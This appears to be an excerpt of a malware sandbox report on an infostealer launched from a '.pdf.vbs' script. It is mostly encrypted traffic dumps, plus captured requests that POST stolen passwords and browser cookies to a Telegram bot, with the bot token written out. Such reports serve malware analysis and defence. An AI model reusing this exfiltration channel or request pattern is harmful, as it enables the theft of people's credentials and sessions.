83
                                                                                                                          Data Ascii: po) iQU=p[on(AtK%e2)w.tA~[o>'%?$)=J#>JRzfbQ93J O$c[j#y%f*?)I^c&4dt4ruQU&'t'V6\}@E@~`_IMx}]%#nm@6FJ]5
                                                                                                                          2022-05-12 12:19:07 UTC791INData Raw: e6 db 11 6a 79 1a 27 88 3f b6 20 8a a4 ac 29 71 07 de e8 0e e5 32 22 64 fc 5a 4d e0 c0 63 54 78 6e 77 bf a2 b7 59 ac 07 87 05 93 86 5e 3f a4 06 9a 3c 9e fc 6f e0 ce 2e 59 97 8e 94 28 3f 49 65 39 e6 a7 60 c8 49 db 2c 29 2c a9 cb db 5d ed 71 e2 98 c8 20 e0 ea 19 e3 8f 69 a6 76 1f 46 f6 ce 3c 0c e4 8a fb 58 d3 e4 d4 38 ec ef e5 6a 52 57 db b7 b7 37 f8 f8 b9 4c 08 52 0a e9 8a dc 50 e3 c9 12 5f cb ad ab 82 1e 08 5a ad 12 4e 21 ba 79 bc d0 c0 45 e8 0d f0 0b fa 3d 27 c0 98 1e 14 2a 38 9b 71 66 bc 18 1b 9c 80 30 d7 5c c9 17 cb a0 57 65 c0 2b 3a 60 31 8d fc d8 01 a1 46 71 b9 46 b2 9d 0b 7e 2d ec a8 86 d7 2b 66 d4 13 1a 10 14 a0 2e 7c 6f 42 a0 64 f3 4d c9 01 e2 ff f9 50 a0 a1 d6 ab 35 94 ba 9f 54 da 99 45 60 87 75 d4 cb b1 8e 01 ad 92 4a b5 ab a2 46 3d ab 2b 85 06
                                                                                                                          Data Ascii: jy'? )q2"dZMcTxnwY^?<o.Y(?Ie9`I,),]q ivF<X8jRW7LRP_ZN!yE='*8qf0\We+:`1FqF~-+f.|oBdMP5TE`uJF=+
                                                                                                                          2022-05-12 12:19:07 UTC799INData Raw: ed 4e d3 07 56 d7 9d 00 6c 00 e7 bb 8f 02 6c 41 d2 41 15 e4 76 5b aa 5e 45 46 b8 8f b3 7e 9f 1c 0e 86 d9 d7 30 d9 5e fb 6b 64 78 c0 2f 90 99 52 a2 c9 f0 ae 3d df c3 6c 75 3a 1f f3 e6 9c fd 58 f5 18 5e ee c3 20 18 d7 cd 5e f3 8d 8b 94 ec ea f1 ee 5f 74 72 a6 74 55 68 fc 95 67 3d 41 dc ac 7e d3 2d 7b e7 cc 88 56 c8 6b c5 7f a6 4d 70 27 d9 4f e2 c5 8e 53 51 f7 00 06 b8 98 47 90 9f 60 70 2f b1 f8 ba ca 26 41 ad 85 47 a6 74 44 46 ce 08 0b 4d 90 3c 31 49 e4 2f 2d dd 6f 1c e7 a5 cc 88 ab 3b 4a 91 44 d9 2b 78 1a ea 26 7f 1f a4 b4 5f 1e 48 a0 73 eb 33 ba 94 cf e1 08 e6 d5 e0 54 f8 66 0d 60 ea 03 fd cb 2e d5 7c 3c 7a 1a be f1 2b f5 18 a9 0f f6 74 6d 40 ef b7 4c 12 25 b0 ae 1f 69 0a b1 9e 1c f1 cf 5a 1f a0 97 3c aa 7e 91 d3 a8 ba d3 24 fa 84 17 e1 25 c7 68 03 80 34
                                                                                                                          Data Ascii: NVllAAv[^EF~0^kdx/R=lu:X^ ^_trtUhg=A~-{VkMp'OSQG`p/&AGtDFM<1I/-o;JD+x&_Hs3Tf`.|<z+tm@L%iZ<~$%h4
                                                                                                                          2022-05-12 12:19:07 UTC807INData Raw: ee 0d 52 27 fc bc bb d9 43 ec da 0d 85 49 14 b1 27 c7 80 65 98 45 a2 4b df 14 ea 43 6f 12 a8 a1 c6 b5 02 6c 44 9e 72 ae a7 50 7f 96 f1 c2 cd 20 98 4d 93 e1 60 b2 bc 24 d2 33 b0 49 e4 ad 71 5c 96 03 02 ed 27 84 56 15 cd 13 47 cd 5c ce 6d 43 d9 20 0f de 50 6e dd f4 9b dc 5a 34 e5 e9 18 17 e8 e7 69 cc f2 ad 82 9e 5e a8 30 b4 ae 9a 7e cc 0f 82 41 05 d0 97 d2 3c 19 3c ca 5f be e3 de 32 67 e5 93 eb a2 07 40 99 26 31 ae ab b1 02 0a 59 9a f9 92 37 52 b2 ec 80 f1 60 3f 6b 57 0c a1 01 d6 be 98 07 19 78 d6 ce 9a e5 80 c5 0f 4a bc be b3 47 d4 2d cd 27 42 1c 64 e0 2b c9 ca b8 04 4e 21 d0 04 26 9e cf 83 15 a7 b8 0a 49 e8 21 dc 85 b2 69 e8 d9 dd 5c d5 06 af b8 26 a3 51 d9 b4 08 78 79 69 e8 27 bc cd e3 37 28 f7 9b 46 56 0c 21 4f 35 51 a7 3d 09 da 9b 2a 39 a7 6b 05 dc cd
                                                                                                                          Data Ascii: R'CI'eEKColDrP M`$3Iq\'VG\mC PnZ4i^0~A<<_2g@&1Y7R`?kWxJG-'Bd+N!&I!i\&Qxyi'7(FV!O5Q=*9k
                                                                                                                          2022-05-12 12:19:07 UTC815INData Raw: 65 da 6b f9 0c 64 5a e4 f8 77 2c f0 53 64 e2 2d f5 10 b5 1b 7a 65 70 60 13 a7 b2 19 66 6e a6 0e 6b 08 be 8d 1d a7 40 2f 1d a1 8c ad b2 e3 25 db a8 aa f3 c3 f0 7a 1c e5 dc c5 79 0d 06 ab 41 fe 95 ed 9e df eb 6c 1c 59 30 ec 99 b3 45 1d 75 f7 cc 92 77 60 a3 38 42 9a 82 c9 6a d3 48 f7 20 b1 ee 1a 13 37 79 1a 24 99 1e 2b a1 9c b5 bb b4 2c 00 52 4e ac f4 15 1e b4 bc 5b 47 c2 1b 80 54 72 73 d3 9b a0 b7 52 ac a3 85 05 93 86 9e 3f a4 06 98 3a a7 10 47 8b c0 41 93 f9 44 92 55 72 65 44 2c ee 03 ab cc 49 dc 52 ea 2b 25 66 f7 5f c7 48 0b 97 e0 47 cc 19 1f 8c 4f 7e 2a 2d 26 82 f7 e6 cf 1d f2 9f da 39 c2 f3 cf 27 f8 db 30 14 8f 4e 0d a2 2c 4d b1 e9 a8 4c 23 52 21 d0 bc b3 10 e8 da 1d 4c c2 3e 37 89 36 eb 5b be 3a 30 cf ad 68 ad 4f 99 42 64 ab 52 1a d9 38 03 a8 61 1e 1e
                                                                                                                          Data Ascii: ekdZw,Sd-zep`fnk@/%zyAlY0Euw`8BjH 7y$+,RN[GTrsR?:GADUreD,IR+%f_HGO~*-&9'0N,ML#R!L>76[:0hOBdR8a
                                                                                                                          2022-05-12 12:19:07 UTC823INData Raw: ac f6 38 91 d6 e4 0a b7 b0 13 ce a1 3f e8 55 dd 30 f5 c6 81 d6 d5 14 94 46 26 b2 53 ed 9a e7 60 3a 66 eb a9 0d cc 56 d4 ff 7a be 29 4b 0c 32 4c 33 33 40 34 09 c1 fc 2a 35 59 6c a9 8e d2 79 21 ef 2b 21 2e bf 32 72 14 0b c7 66 5e b0 59 9c aa 04 b4 30 15 a2 bb 4e 37 1c c4 52 d5 ce 75 51 d3 b9 5f d6 2f 30 d7 9d 1f ce 11 eb 87 a1 30 6e 7b d2 e3 04 fc 6c 4a ac e1 54 4a 91 c0 b3 7e 95 0e 53 86 d9 f2 2e c7 4d 5a 6c 75 75 d1 22 6e 98 7e ab f1 b6 51 c2 20 dc 01 60 37 1f 58 e9 83 ee bb fd 34 59 f7 d0 2a 07 de de 53 f2 87 b6 8f fa 81 f0 c2 53 cc ff be 65 26 3e ef 92 72 20 7a b1 af 6f d8 42 96 e4 e0 84 45 e7 01 db 6c ad 65 42 2a c6 5b 34 8b a2 59 4a 92 fe d0 ab 98 37 65 8c 6d 7a 2d b8 cc 87 25 23 02 0c 82 54 a7 1f 2c 55 c3 09 16 46 84 ca 5f 89 e7 38 34 c7 00 19 e8 ba
                                                                                                                          Data Ascii: 8?U0F&S`:fVz)K2L33@4*5Yly!+!.2rf^Y0N7RuQ_/00n{lJTJ~S.MZluu"n~Q `7X4Y*SSe&>r zoBEleB*[4YJ7emz-%#T,UF_84
                                                                                                                          2022-05-12 12:19:07 UTC831INData Raw: cf f8 95 f2 91 ca db 3c 2d fa da 9e f9 3a 2e 0c a4 a4 3c 09 e9 a9 5f b5 66 00 e9 8b 93 a8 e2 c9 14 6e 19 b0 26 85 04 20 a2 bf 30 59 29 2a 16 ca 5d 91 41 c8 b5 52 1a d8 b3 2a ad 8b 38 3e bb db 9b 71 4c 74 67 19 9c 95 17 a8 a7 c8 1d e5 a9 d1 1b ab 45 7b 65 11 31 ed cf 16 ed 70 4b ba 6e 85 aa 0c 7e 2d cd 54 aa c6 0d 6f ce 2c 6f 40 14 a6 05 58 00 05 b5 4c b7 6c 72 0b fd df ef 24 8d b3 f1 9d a6 63 ba 9f 7e 0c bc 54 6e 8f dc fb 32 b0 8f 14 a4 05 17 c2 bb b5 ce 4c 17 2b 84 a4 fa 7f 2a 0b 7b d4 f9 e4 5f 04 eb 9c 52 92 4b b3 2c 62 31 27 9e c7 6a b7 b4 f6 fa d5 4f 12 c9 f6 38 48 6b a1 24 d7 c5 8b ae 81 1e f7 0b e8 c5 93 6f d5 97 8a 38 04 d0 91 a7 a7 04 3d 7f c3 a5 d3 73 3a 67 f4 01 d1 9c eb 67 95 92 42 39 a9 91 40 0d 46 8e f5 90 1f ba bb f4 78 da ce 4a 14 db 23 a5
                                                                                                                          Data Ascii: <-:.<_fn& 0Y)*]AR*8>qLtgE{e1pKn~-To,o@XLlr$c~Tn2L+*{_RK,b1'jO8Hk$o8=s:ggB9@FxJ#
                                                                                                                          2022-05-12 12:19:07 UTC839INData Raw: da 11 2e e7 e0 8e dd ea 4d c9 4a 8b e6 60 2a c6 71 ff dd a2 59 5b d5 ee d1 ab 94 72 09 f2 0c 71 3e b8 c7 04 35 27 6d 30 a7 79 bf 4d 77 f9 c2 08 1a 60 6e db 30 65 f8 33 16 29 6e 0d ec 90 6e 08 cb 16 48 be 61 4c f2 84 e5 8f 0a 78 0d 82 87 c2 1a 48 3e 52 18 2a 67 94 d0 fc 36 0c dc d8 d8 d3 e0 73 01 fa 0b e4 15 81 f8 77 2a e6 27 49 f0 0a c6 b2 b6 1c fe 54 83 51 f0 a7 ad 33 21 5b a6 0e 6b 31 32 f1 7b 2a e7 2b 3d 0f 9c a1 b5 f5 a7 f6 ba 8d fb 94 f1 7a 16 ed 30 df 79 07 0e 2a 38 07 94 ec b0 06 6d 12 77 70 d3 e8 b9 09 2b d6 74 6d ef 33 34 46 83 89 50 93 80 92 05 c8 48 f3 36 ac c0 35 9d 6d 7f 30 a0 e5 78 a6 06 98 95 0b a4 20 07 44 cc 81 e6 32 16 fd bd 5b 4d ca d0 9a 54 78 7b 55 e2 59 b6 53 82 7a 03 7b f8 af 7d 3b 84 be 88 33 8f 69 62 a6 d8 08 7f 4a 45 94 28 15 26
                                                                                                                          Data Ascii: .MJ`*qY[rq>5'm0yMw`n0e3)nnHaLxH>R*g6sw*'ITQ3![k12{*+=z0y*8mwp+tm34FPH65m0x D2[MTx{UYSz{};3ibJE(&
                                                                                                                          2022-05-12 12:19:07 UTC847INData Raw: e5 08 c5 e7 8b 8c 83 1e f7 b1 f2 e3 82 49 ea 01 a0 c1 05 f0 f2 a5 21 7a 42 56 3a a0 f3 cb 10 e1 8a fa f5 b1 fd 61 15 2e 42 39 33 94 25 14 60 ae 4a 98 37 43 9a 99 56 f0 4c 2b 64 f2 da a0 01 d1 87 1d 60 6b 71 d6 db b2 59 7c c4 23 d9 88 94 b8 7e d7 10 d1 34 4a 3c 0b c0 34 c7 2a 91 d1 48 37 c5 28 bf ef bd 8a 15 b2 90 b7 42 16 20 6a aa 8e 7c d2 e6 27 c2 ca 0c 9c 36 0e b2 59 d9 a8 de 80 54 7b ec 83 89 a4 58 21 fe 7e 94 e5 54 0d 32 d0 0f 71 a5 13 29 68 91 35 34 79 fc 01 d0 d3 64 0d 68 74 20 28 91 be d2 66 2f ef 4f 7e 14 51 8f b7 b6 bf 1d 07 8e 45 e8 21 36 d0 58 4e cc 75 51 8d e9 77 2f 2e 30 d1 b7 8c b0 70 ea a2 a3 10 cb 43 d4 e3 9e cd 41 58 8a dc f1 48 90 c2 93 c7 bd 73 55 99 d5 f5 d6 c6 4d f0 41 f3 0b be 23 6e 9c 5e 0d f3 b6 51 58 05 f1 70 40 17 b9 e0 eb 83 ce
                                                                                                                          Data Ascii: I!zBV:a.B93%`J7CVL+d`kqY|#~4J<4*H7(B j|'6YT{X!~T2q)h54ydht (f/O~QE!6XNuQw/.0pCAXHsUMA#n^QXp@
                                                                                                                          2022-05-12 12:19:07 UTC863INData Raw: 5b d0 2f dc de db 0e c8 11 32 87 e1 34 68 41 b3 e3 1c ef 6a 4a e6 fc 4c 4d 96 c2 0d 76 07 6b 4f 86 8f c2 9f ef 4b f6 75 74 e7 c7 24 6e 94 7c 39 e9 b0 51 76 3b 4e 7a 74 37 22 f9 ad 87 e8 a6 a6 28 cb e0 d6 2a 93 da 98 57 e1 9c 6f 9c 19 0d e2 c2 41 65 1c a7 72 55 57 f1 d4 7c 2c 52 99 ad fd c6 23 85 28 fb be 61 dd 60 10 4c 9b 6b 67 2a fa 51 04 c3 b0 59 a7 de 27 f6 b9 92 8b ac bc 4b 76 3e 39 fc 3a 2c 21 6d f2 82 c6 b5 79 57 ed e7 e4 3d 46 86 24 30 7d e0 3e 3e bf 6f 49 c7 bc e8 73 aa 53 65 bc 41 2e f4 c0 c8 13 2f c2 01 e0 8a 69 1b 93 39 36 c6 35 67 78 cb b4 33 f3 dd 47 c6 bd 4b 0b 60 d9 01 a4 18 29 f9 82 23 38 2f 62 e2 e1 fe 58 9a 1a fe 45 63 da e8 a1 b2 eb 08 e6 8a 08 6d e6 a8 c9 1e 2d e7 d4 0f dd b7 a7 b5 0a 9c 9f 85 ad db 69 eb 3e 3b cb 2f 78 69 95 09 21 10
                                                                                                                          Data Ascii: [/24hAjJLMvkOKut$n|9Qv;Nzt7"(*WoAerUW|,R#(a`Lkg*QY'Kv>9:,!myW=F$0}>>oIsSeA./i965gx3GK`)#8/bXEcm-i>;/xi!
                                                                                                                          2022-05-12 12:19:07 UTC879INData Raw: 2f 62 fb 0b e0 a3 2f 5f 75 1f 7e 52 64 16 0e e4 1c b7 1c 68 74 ef 5a c5 a5 e2 13 1c 81 a5 0e 6d 1b 22 8f ca 29 d2 2d 4d a0 aa 82 b7 6f 82 db 3e ab 66 29 c5 78 46 cd 77 e6 7b 07 11 27 86 fe 6f ee 83 2e bb 6c 6c 52 d1 ec 99 b9 bc d6 7c e3 ff 1c 76 60 38 1a 53 93 80 b2 bf d2 1b f0 1c a2 b8 cc 21 4e 7b 1a 26 9b 8f a7 0e 89 80 b8 f5 20 d9 fd eb ac f4 14 a0 4c c1 58 78 e8 b8 80 54 5c 66 5f ca a0 21 53 c1 45 b0 07 c9 ae 5c 1b a6 0c 89 33 19 f3 e0 88 ff 2c 0f f8 06 b0 2a 35 64 44 be e9 25 19 f9 4b 8d 43 80 08 ab c1 f7 5f 50 60 22 94 d5 4f b4 ea 9a a8 47 69 a6 7c b0 82 41 d8 09 1f a2 95 55 aa c2 f3 c5 2c 6c dc 4f 78 71 4d 5d a4 69 38 b3 e9 a9 5f b9 43 75 e0 98 b1 40 e2 22 30 4c c5 ba 26 13 1e 2d 5f 8b 32 0f 03 a1 4d a9 5c 91 45 7e 0c 45 03 ed 2b 5f 80 b6 3b 1c 02
                                                                                                                          Data Ascii: /b/_u~RdhtZm")-Mo>f)xFw{'o.llR|v`8S!N{& LXxT\f_!SE\3,*5dD%KC_P`"OGi|AU,lOxqM]i8_Cu@"0L&-_2M\E~E+_;
                                                                                                                          2022-05-12 12:19:07 UTC895INData Raw: 90 fa 93 fc a4 f3 a2 49 8e 83 e4 1a 37 3c 7a cb d2 78 b1 9a cc 2b 70 13 4c 8b de c4 7f 90 ad 14 0c a0 ba 65 e0 1e 4c 3e be 75 3a 03 ea 0d ab 1b f4 45 a0 69 52 7b bd 29 6d e5 99 4c 7b 72 b7 fa 12 09 94 2e 6b f9 eb 6c e5 17 a7 6e 97 e2 39 06 af 44 1c 04 45 d4 aa aa 62 3e 3b 15 dc 29 cb 73 69 7e 6a 88 cf e8 a7 7e 18 86 6b f2 24 14 c7 4a aa 21 37 db 2f d8 29 bd 4e 8f ad 1a 73 e3 ce b3 d8 1d 10 df eb 01 bb d9 30 0b 90 be ba a7 d4 c2 7d ea e6 69 f3 db d1 ae 05 c5 4c c9 cb 04 3f 07 5a 2f 8d 35 90 30 57 bf f0 3c f3 26 e1 62 2e ad 26 dd ae 2d 41 b8 f2 88 a6 22 5d 1a bb 57 2c 94 84 4a ac 93 c3 76 f3 53 98 4f b2 ce cb 02 a6 d0 cd a5 60 d0 f0 e8 55 25 09 10 aa c2 9c a9 5f 67 93 fe 80 ee bb 28 d2 69 2c 5d c0 d0 66 53 28 e7 89 f5 53 26 ba bd 0d a4 29 4c 01 8f 4d c8 62
                                                                                                                          Data Ascii: I7<zx+pLeL>u:EiR{)mL{r.kln9DEb>;)si~j~k$J!7/)Ns0}iL?Z/50W<&b.&-A"]W,JvSO`U%_g(i,]fS(S&)LMb
                                                                                                                          2022-05-12 12:19:07 UTC911INData Raw: 88 3c eb a4 14 87 0b e5 ab 0a cf 9d 72 c4 90 aa dc 0b d8 ba 8a 31 6f 4e fe 1e a0 e1 4c 32 72 e6 1b 29 b0 f7 54 a7 ac 9f 38 bb 30 00 08 48 80 f8 1b 57 4d a8 81 76 ed 49 26 f4 d2 31 d4 09 ca a3 97 1b 2a 70 c4 5f 3b f5 7e c7 36 51 2d 64 a8 4a 76 b9 dd 3a 44 10 19 e8 5b c7 53 b9 41 49 59 c3 71 39 83 db 83 1b ab b5 08 45 0a 32 71 62 be 6b e6 b3 97 41 9b 07 bc b3 3b b7 44 c3 a5 f3 68 d6 3a f9 ae 02 d4 24 25 e3 7f a9 43 4a 10 37 58 aa 80 a6 40 14 ce 94 35 36 57 77 2c cd d6 7a 22 90 7b 33 29 bd 2d be 87 f3 ee 45 4b a2 d3 52 b6 22 94 38 08 a6 6d 45 23 37 c5 6a 53 39 74 5f 9c 82 58 e6 3a 22 57 40 0b db 03 6a ae a4 3e 60 43 c8 ed 18 fd 7e ca 71 fd 46 cb 98 d7 a1 ff 99 70 5b 88 db cf 5a d5 38 e4 1e 67 00 cd 57 7c ed 6c de e3 c3 43 b7 32 a9 70 13 25 6a f0 9e 91 9b b4
                                                                                                                          Data Ascii: <r1oNL2r)T80HWMvI&1*p_;~6Q-dJv:D[SAIYq9E2qbkA;Dh:$%CJ7X@56Ww,z"{3)-EKR"8mE#7jS9t_X:"W@j>`C~qFp[Z8gW|lC2p%j


                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                          4192.168.11.2049778149.154.167.220443C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                          TimestampkBytes transferredDirectionData
                                                                                                                          2022-05-12 12:19:26 UTC918OUTPOST /bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocument HTTP/1.1
                                                                                                                          Content-Type: multipart/form-data; boundary=---------------------------8da342734d3a29d
                                                                                                                          Host: api.telegram.org
                                                                                                                          Content-Length: 998
                                                                                                                          Expect: 100-continue
                                                                                                                          Connection: Keep-Alive
                                                                                                                          2022-05-12 12:19:26 UTC918INHTTP/1.1 100 Continue
                                                                                                                          2022-05-12 12:19:26 UTC918OUTData Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33 34 32 37 33 34 64 33 61 32 39 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 2d 36 32 33 31 38 36 36 35 36 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33 34 32 37 33 34 64 33 61 32 39 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 41 72 74 68 75 72 2f 30 33 35 33 34 37 0a 4f 53 46 75 6c
                                                                                                                          Data Ascii: -----------------------------8da342734d3a29dContent-Disposition: form-data; name="chat_id"-623186656-----------------------------8da342734d3a29dContent-Disposition: form-data; name="caption"New PW Recovered!User Name: user/035347OSFul
                                                                                                                          2022-05-12 12:19:26 UTC919INHTTP/1.1 200 OK
                                                                                                                          Server: nginx/1.18.0
                                                                                                                          Date: Thu, 12 May 2022 12:19:26 GMT
                                                                                                                          Content-Type: application/json
                                                                                                                          Content-Length: 640
                                                                                                                          Connection: close
                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                          {"ok":true,"result":{"message_id":38612,"from":{"id":2135733177,"is_bot":true,"first_name":"luckyorig","username":"luckyorigbot"},"chat":{"id":-623186656,"title":"LUCKY ORIGIN LOGS","type":"group","all_members_are_administrators":true},"date":1652357966,"document":{"file_name":"user-035347 2022-05-12 02-50-53.html","mime_type":"text/html","file_id":"BQACAgEAAxkDAAKW1GJ8-07pbKz3GUaYxDypoqUuxtA_AAKUAwACboLpR1jrPd38PL2qJAQ","file_unique_id":"AgADlAMAAm6C6Uc","file_size":424},"caption":"New PW Recovered!\n\nUser Name: user/035347\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz\nRAM: 8191.25 MB"}}


                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                          5192.168.11.2049779149.154.167.220443C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                          TimestampkBytes transferredDirectionData
                                                                                                                          2022-05-12 12:19:31 UTC920OUTPOST /bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocument HTTP/1.1
                                                                                                                          Content-Type: multipart/form-data; boundary=---------------------------8da3428d09d054e
                                                                                                                          Host: api.telegram.org
                                                                                                                          Content-Length: 21529
                                                                                                                          Expect: 100-continue
                                                                                                                          2022-05-12 12:19:31 UTC920INHTTP/1.1 100 Continue
                                                                                                                          2022-05-12 12:19:31 UTC920OUTData Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33 34 32 38 64 30 39 64 30 35 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 2d 36 32 33 31 38 36 36 35 36 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33 34 32 38 64 30 39 64 30 35 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 43 6f 6f 6b 69 65 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 41 72 74 68 75 72 2f 30 33 35 33 34 37 0a 4f
                                                                                                                          Data Ascii: -----------------------------8da3428d09d054eContent-Disposition: form-data; name="chat_id"-623186656-----------------------------8da3428d09d054eContent-Disposition: form-data; name="caption"New Cookie Recovered!User Name: user/035347O
                                                                                                                          2022-05-12 12:19:31 UTC921OUTData Raw: a1 7f 59 5e 72 f3 2f c1 3a 80 11 0a 8e 4a c3 d3 e8 38 12 fd 5f 39 a4 50 f1 64 2a 9e be 54 ca 02 37 34 46 18 02 a1 fe 67 37 30 86 23 72 0c 15 cb 88 1d 6c 04 8e f8 2f 5c 6a cf 3b a4 90 a9 ff 42 18 8c e9 05 c0 30 9a 82 a1 fe 2b 79 da 5a 3e ae 0e 1e 3e 36 f2 6a 4b 93 88 96 fc 7c aa d0 92 07 12 82 96 3c 10 8f ea ea 30 2e 2e 49 a4 34 2b 0b 9e 14 8a 8b a7 45 13 00 e7 98 18 3a 99 f9 37 fa 57 82 44 eb fc fa 45 18 3a c1 f6 fc 7f 3a 43 81 80 fc 47 08 63 e5 96 14 17 67 4d 45 30 0b 6a 22 8e 8e 01 2e b6 df 8a 68 e0 13 35 a0 6c 75 76 73 b5 f3 45 7a a2 ec 91 0b 72 e2 af fc e7 ee e9 e0 82 f4 0c 90 77 b2 09 d0 92 9f 2b 45 17 38 57 57 65 e3 92 34 15 ff 53 9e 03 2c a0 75 80 9f ec 0c 4d 3c 80 30 08 e3 62 87 5e 67 81 8e 42 5f 32 fe 03 01 01 01 01 01 01 01 01 01 01 01 01 01 01
                                                                                                                          Data Ascii: Y^r/:J8_9Pd*T74Fg70#rl/\j;B0+yZ>>6jK|<0..I4+E:7WDE::CGcgME0j".h5luvsEzrw+E8WWe4S,uM<0b^gB_2
                                                                                                                          2022-05-12 12:19:31 UTC937OUTData Raw: d7 94 d7 94 bd 97 f5 33 ab 1b 2b 3f cb 20 4f 35 87 35 4f 8f c0 06 36 41 0e 3c 5b 2c c7 03 2e 5d de 66 de a3 7c 6c d0 78 a8 fd bf e8 49 33 7c 98 ff df d6 6d ff 67 c8 02 2d 1d 28 eb b2 8d 1a c4 7a 15 a0 82 5b 7c 77 51 65 86 08 92 01 aa 24 86 ab 65 6a 1f c4 3a 29 a0 c8 06 6e 2e 2a 9e 11 81 ec 01 2c 39 ff d3 de 9f 47 82 0b a2 24 ca 50 f9 f7 14 bf ab 83 35 82 2a cd 28 39 80 8f 43 c9 31 21 04 1c 96 d1 1e 8e 02 c6 eb 1d ac 6d 10 d1 32 40 a5 b0 f4 9e b5 17 e3 8b 94 55 5c 10 84 14 e3 26 a3 eb c1 28 0e 68 58 2a 9e c2 0c 3b 34 3a 1c 13 4a 43 90 b5 19 f7 4d 97 bb 0f 6c 22 0a a7 63 c2 d1 3e 48 b4 ae ae 91 9e ae 9e 9e 0e 5a 1f 41 92 05 4e 58 5e f6 0b f8 50 04 91 a1 05 21 ba fc e3 10 04 0e 6b 16 9d 7f 2b 30 a4 81 d1 9e c5 b1 ce 1c d8 41 e0 f4 80 c1 01 c6 bd 7f 3e 0e 80
                                                                                                                          Data Ascii: 3+? O55O6A<[,.]f|lxI3|mg-(z[|wQe$ej:)n.*,9G$P5*(9C1!m2@U\&(hX*;4:JCMl"c>HZANX^P!k+0A>
                                                                                                                          2022-05-12 12:19:31 UTC941OUTData Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33 34 32 38 64 30 39 64 30 35 34 65 2d 2d 0d 0a
                                                                                                                          Data Ascii: -----------------------------8da3428d09d054e--
                                                                                                                          2022-05-12 12:19:32 UTC941INHTTP/1.1 200 OK
                                                                                                                          Server: nginx/1.18.0
                                                                                                                          Date: Thu, 12 May 2022 12:19:32 GMT
                                                                                                                          Content-Type: application/json
                                                                                                                          Content-Length: 651
                                                                                                                          Connection: close
                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                          {"ok":true,"result":{"message_id":38613,"from":{"id":2135733177,"is_bot":true,"first_name":"luckyorig","username":"luckyorigbot"},"chat":{"id":-623186656,"title":"LUCKY ORIGIN LOGS","type":"group","all_members_are_administrators":true},"date":1652357972,"document":{"file_name":"user-035347 2022-05-12 03-02-20.zip","mime_type":"application/zip","file_id":"BQACAgEAAxkDAAKW1WJ8-1SAfb2psvIE6WpM909FQ7I3AAKVAwACboLpR5Us2wkDKlLqJAQ","file_unique_id":"AgADlQMAAm6C6Uc","file_size":20946},"caption":"New Cookie Recovered!\n\nUser Name: user/035347\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz\nRAM: 8191.25 MB"}}


                                                                                                                          Statistics

                                                                                                                          CPU Usage

                                                                                                                          Click to jump to process

                                                                                                                          Memory Usage

                                                                                                                          Click to jump to process

                                                                                                                          High Level Behavior Distribution

                                                                                                                          Click to dive into process behavior distribution

                                                                                                                          Behavior

                                                                                                                          Click to jump to process

                                                                                                                          System Behavior

                                                                                                                          General

                                                                                                                          Target ID:1
                                                                                                                          Start time:14:15:49
                                                                                                                          Start date:12/05/2022
                                                                                                                          Path:C:\Windows\System32\wscript.exe
                                                                                                                          Wow64 process (32bit):false
                                                                                                                          Commandline:C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\doc_65398086_4190362045539.pdf.vbs"
                                                                                                                          Imagebase:0x7ff6c5d30000
                                                                                                                          File size:170496 bytes
